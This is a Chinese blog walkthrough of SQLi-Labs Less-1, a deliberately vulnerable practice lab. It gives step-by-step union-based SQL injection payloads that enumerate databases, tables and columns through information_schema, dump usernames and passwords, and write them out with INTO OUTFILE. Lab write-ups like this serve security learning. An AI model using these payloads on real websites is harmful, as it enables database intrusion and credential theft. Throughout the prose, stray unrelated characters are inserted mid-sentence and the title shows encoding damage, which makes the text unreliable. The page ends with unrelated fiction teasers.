SQLi-Labs 練習(xí)總結(jié) Page-1 Less-1

SQLi-LABS 練習(xí)總結(jié)

Page-1 基礎(chǔ)練習(xí)

寫在前面:SQL注入是一個需要不斷嘗試的過程,其中可能出現(xiàn)很多問題才能有一次成功匾委,不要心急需忿,多嘗試诅炉,多學(xué)習(xí),多總結(jié)屋厘。

Less-1 GET-Error based-single quotes-String

分析所給提示:

  • 根據(jù)報錯信息涕烧;
  • 單引號;
  • 字符型汗洒。

為了學(xué)習(xí)的目的议纯,盡可能的多做一些嘗試:

(1)確定問題參數(shù)和漏洞類型

原頁面

在URL中輸入id參數(shù) ?id=1',返回報錯信息: Erreur de syntaxe pr?s de '''' LIMIT 0,1' ? la ligne 1

關(guān)于回顯問題,可用設(shè)置語言包將其調(diào)成英文模式仲翎,具體操作: 直通車

Paste_Image.png

從錯誤信息中可以看出痹扇,這是一個字符型(''1''),且限定只輸出1行(LIMT 0,1)溯香。
可用的注入方式:
?id=1 這是一個正常的查詢過程。為了學(xué)習(xí)SQL注入浓恶,并不使用它來查詢玫坛。
?id= ' or '1'='1
?id= ' or 1=1 %23
%23是 # 的URL編碼,#是MySQL的注釋符包晰。在我嘗試過程中湿镀,直接輸入#依舊會報錯,%23則能正確輸出伐憾。還有一種注釋方法:
?id=' or 1=1 --+

確定問題參數(shù)和漏洞類型:id參數(shù)勉痴,字符型漏洞

(2)確定字段數(shù)

只有確定了字段數(shù),才可以使用union這個關(guān)鍵詞連接我們的查詢語句树肃≌裘可以采用order by 來確定字段數(shù)。
如:?id=1’ order by 1 %23
表示通過第一字段的順序進(jìn)行排序胸嘴,當(dāng)輸入order by x報錯時雏掠,就說明沒有這個字段,就可以得到輸出的字段數(shù)了劣像。在這個系統(tǒng)中乡话,經(jīng)過測試,輸出字段數(shù)為3.

Paste_Image.png
Paste_Image.png

查看一下本地的數(shù)據(jù)庫:

Paste_Image.png

確實只有三個字段耳奕,分別為id绑青、username诬像、password。

(3)判斷能在頁面顯示的字段闸婴。

接下來坏挠,使用union語句來判斷各字段的類型以及判斷能夠在頁面顯示的字段。

?id=-1' union select 1,2,3 %23

注意:這里的id= -1掠拳,使它不返回其他信息癞揉,執(zhí)行后面的語句。

Paste_Image.png

從中看出能在頁面上顯示的是第2,3字段溺欧。

(4)確定數(shù)據(jù)庫

確定當(dāng)前使用的數(shù)據(jù)庫

現(xiàn)在我們已經(jīng)知道了輸出的字段數(shù)了喊熟,可以使用union這個關(guān)鍵詞了。首先試試確定數(shù)據(jù)庫的名字姐刁,設(shè)計如下payload:

?id=-1’ union select 1,database(),3 %23 

回顯如圖:

Paste_Image.png

從而知道了當(dāng)前使用的數(shù)據(jù)庫的名字是 security芥牌。

爆出所有數(shù)據(jù)庫

還有一種方法,可以爆出所有的數(shù)據(jù)庫名聂使,payload:

?id=-1' union select 1,group_concat(SCHEMA_NAME),3 
from information_schema.SCHEMATA%23
Paste_Image.png

紅線部分即為MySQL中的所有數(shù)據(jù)庫壁拉。

說明:
?id=-1' union select 1,SCHEMA_NAME,3 from information_schema.SCHEMATA%23在實際中有時候也可以,表示選擇information_schema數(shù)據(jù)庫中柏靶,SCHEMATA這個表的SCHEMA_NAME字段的值弃理。關(guān)于information_schema這個數(shù)據(jù)庫蹋盆,有興趣可以再查資料擎勘。
在這里不行的原因是它返回的是一個數(shù)組,分為一個一個的字符串餐茵,在這里只能顯示第一個字符串炬转,即information_schema辆苔。

Paste_Image.png

GROUP_CONCAT(expr) 該函數(shù)返回帶有來自一個組的連接的非NULL值的字符串結(jié)果。在這里扼劈,這個函數(shù)將原先返回的字符串?dāng)?shù)組拼接成一個完整的字符串輸出驻啤。

(5)數(shù)據(jù)表

Payload:

?id=-1' union select 1,group_concat(TABLE_NAME),3 from information_schema.TABLES where TABLE_SCHEMA='security'%23
Paste_Image.png

這個就不分析了,就是從TABLES表中將TABLE_SCHEMA字段中名為security的數(shù)據(jù)全部返回荐吵。 可以通過phpmyadmin等工具查看本地數(shù)據(jù)庫中內(nèi)容骑冗。

(6)字段名

Payload:

?id=-1' union select 1,group_concat(COLUMN_NAME),3 
from information_schema.COLUMNS 
where TABLE_NAME = 'users' and TABLE_SCHEMA = 'Security'%23

注意:如果你要精確的查出某表的字段名,你就需要加兩個限定條件捍靠,TABLE_NAME = 'users'指定查找名為users表中的字段沐旨,由于可能存在多個數(shù)據(jù)庫,查出來的數(shù)據(jù)可能比該表的真實字段多榨婆;所以再加上一個限定條件磁携,TABLE_SCHEMA = 'Security' 指定數(shù)據(jù)庫為Security。
字段名為:id良风,username谊迄,password闷供。

Paste_Image.png

(7)確定字段類型

?id=-1' union select 1,group_concat(DATA_TYPE),3 
from information_schema.COLUMNS where TABLE_NAME = 'users' 
and TABLE_SCHEMA = 'security'%23

從中看出對應(yīng)的字段類型:id為int型,username為varchar型统诺,password為varchar型歪脏。


Paste_Image.png

(8)查詢字段內(nèi)容

?id=-1' union select 1,username,password from users where id=3%23

這里限制了輸出,可以通過指定id的方式逐條查詢粮呢。

Paste_Image.png

通過指定id查詢記錄數(shù)婿失,得知id最大到14,其中id=13項缺失啄寡,所以也可以仿造前面的方法豪硅,直接查看全部數(shù)據(jù)。注意這只能用在小數(shù)據(jù)量的表中挺物。

?id=-1' union select 1,group_concat(username),group_concat(password) from users %23
Paste_Image.png

(9)拖庫

?id=-1' union select 1,username,password from users 
into outfile 'e:/user.txt'%23

將查詢記錄輸出到e:/user.txt文件中懒浮。

Paste_Image.png
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市识藤,隨后出現(xiàn)的幾起案子砚著,更是在濱河造成了極大的恐慌,老刑警劉巖痴昧,帶你破解...
    沈念sama閱讀 206,378評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件稽穆,死亡現(xiàn)場離奇詭異,居然都是意外死亡赶撰,警方通過查閱死者的電腦和手機(jī)秧骑,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,356評論 2 382
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來扣囊,“玉大人,你說我怎么就攤上這事绒疗∏中” “怎么了?”我有些...
    開封第一講書人閱讀 152,702評論 0 342
  • 文/不壞的土叔 我叫張陵吓蘑,是天一觀的道長惕虑。 經(jīng)常有香客問我,道長磨镶,這世上最難降的妖魔是什么溃蔫? 我笑而不...
    開封第一講書人閱讀 55,259評論 1 279
  • 正文 為了忘掉前任,我火速辦了婚禮琳猫,結(jié)果婚禮上伟叛,老公的妹妹穿的比我還像新娘。我一直安慰自己脐嫂,他們只是感情好统刮,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,263評論 5 371
  • 文/花漫 我一把揭開白布紊遵。 她就那樣靜靜地躺著,像睡著了一般侥蒙。 火紅的嫁衣襯著肌膚如雪暗膜。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 49,036評論 1 285
  • 那天鞭衩,我揣著相機(jī)與錄音学搜,去河邊找鬼。 笑死论衍,一個胖子當(dāng)著我的面吹牛瑞佩,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播饲齐,決...
    沈念sama閱讀 38,349評論 3 400
  • 文/蒼蘭香墨 我猛地睜開眼钉凌,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了捂人?” 一聲冷哼從身側(cè)響起御雕,我...
    開封第一講書人閱讀 36,979評論 0 259
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎滥搭,沒想到半個月后酸纲,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 43,469評論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡瑟匆,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 35,938評論 2 323
  • 正文 我和宋清朗相戀三年闽坡,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片愁溜。...
    茶點(diǎn)故事閱讀 38,059評論 1 333
  • 序言:一個原本活蹦亂跳的男人離奇死亡疾嗅,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出冕象,到底是詐尸還是另有隱情代承,我是刑警寧澤,帶...
    沈念sama閱讀 33,703評論 4 323
  • 正文 年R本政府宣布渐扮,位于F島的核電站论悴,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏墓律。R本人自食惡果不足惜膀估,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,257評論 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望耻讽。 院中可真熱鬧察纯,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,262評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至握恳,卻和暖如春瞒窒,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背乡洼。 一陣腳步聲響...
    開封第一講書人閱讀 31,485評論 1 262
  • 我被黑心中介騙來泰國打工崇裁, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人束昵。 一個月前我還...
    沈念sama閱讀 45,501評論 2 354
  • 正文 我出身青樓拔稳,卻偏偏與公主長得像,于是被迫代替她去往敵國和親锹雏。 傳聞我的和親對象是個殘疾皇子巴比,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,792評論 2 345

推薦閱讀更多精彩內(nèi)容